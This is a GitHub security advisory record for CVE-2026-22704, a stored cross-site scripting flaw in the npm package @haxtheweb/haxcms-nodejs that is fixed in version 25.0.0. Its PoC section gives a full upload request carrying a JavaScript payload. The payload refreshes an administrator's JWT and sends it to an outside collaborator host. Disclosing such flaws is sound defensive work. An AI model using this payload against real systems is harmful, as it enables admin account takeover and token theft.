CVE-2026-22704: @haxtheweb/haxcms nodejs Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3fm2-xfq7-7778",
  "modified" : "2026-01-13T15:09:35Z",
  "published" : "2026-01-13T15:07:57Z",
  "aliases" : [ "CVE-2026-22704" ],
  "summary" : "HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover",
  "details" : "### Summary\nStored XSS Leading to Account Takeover\n\n### Details\nThe Exploit Chain:\n1.Upload: The attacker uploads an `.html` file containing a JavaScript payload.\n2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file.\n3.Token Refresh: The JavaScript payload makes a `fetch` request to the `/system/api/refreshAccessToken` endpoint. Because the administrator is logged in, their browser automatically attaches the `haxcms_refresh_token` cookie to this request.\n4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response.\n5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server.\n6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.\n\nVulnerability recurrence:\n\n<img width=\"1198\" height=\"756\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7062d542-702e-4cbe-8493-da0f71e790c3\" />\n\nThen we test access to this html\n\n<img width=\"1433\" height=\"1019\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c72c92f-a151-4b0e-b6ba-d83ffb771253\" />\n\nYou can obtain other people's identity information\n\n<img width=\"1082\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/23398ea4-f08c-47bd-b2f1-89071af0e275\" />\n\n\n### PoC\nPOST /system/api/saveFile?siteName=yu&site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1\nHost: 192.168.1.72:8080\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\nConnection: close\nContent-Length: 1128\n\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"bulk-import\"\n\ntrue\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"file-upload\"; filename=\"files/pwn1116.html\"\nContent-Type: text/plain\n\n<script>\n  // This version adds headers to make the request look more legitimate.\n  fetch('/system/api/refreshAccessToken', {\n    method: 'POST',\n    headers: {\n      'Content-Type': 'application/json'\n    },\n    body: '{}' // Sending an empty JSON object body\n  })\n  .then(response => {\n    if (!response.ok) {\n        throw new Error('Network response was not ok ' + response.statusText);\n    }\n    return response.json();\n  })\n  .then(data => {\n    var stolenJWT = data.jwt;\n    var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=' + stolenJWT;\n    fetch(attackerUrl);\n  })\n  .catch(error => {\n    var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=' + error.message;\n    fetch(attackerUrl);\n  });\n</script>\n<h1>Processing your request...</h1>\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n\n### Impact\nThe attacker now possesses a valid administrator JWT and can take full control of the application.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@haxtheweb/haxcms-nodejs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "11.0.6"
      }, {
        "fixed" : "25.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/haxtheweb/issues/security/advisories/GHSA-3fm2-xfq7-7778"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22704"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/haxtheweb/haxcms-nodejs/commit/317a8ae29f88be389f7cfeffaef416957122d97e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/haxtheweb/haxcms-nodejs/releases/tag/v25.0.0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/haxtheweb/issues"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-13T15:07:57Z",
    "nvd_published_at" : "2026-01-10T07:16:03Z"
  }
}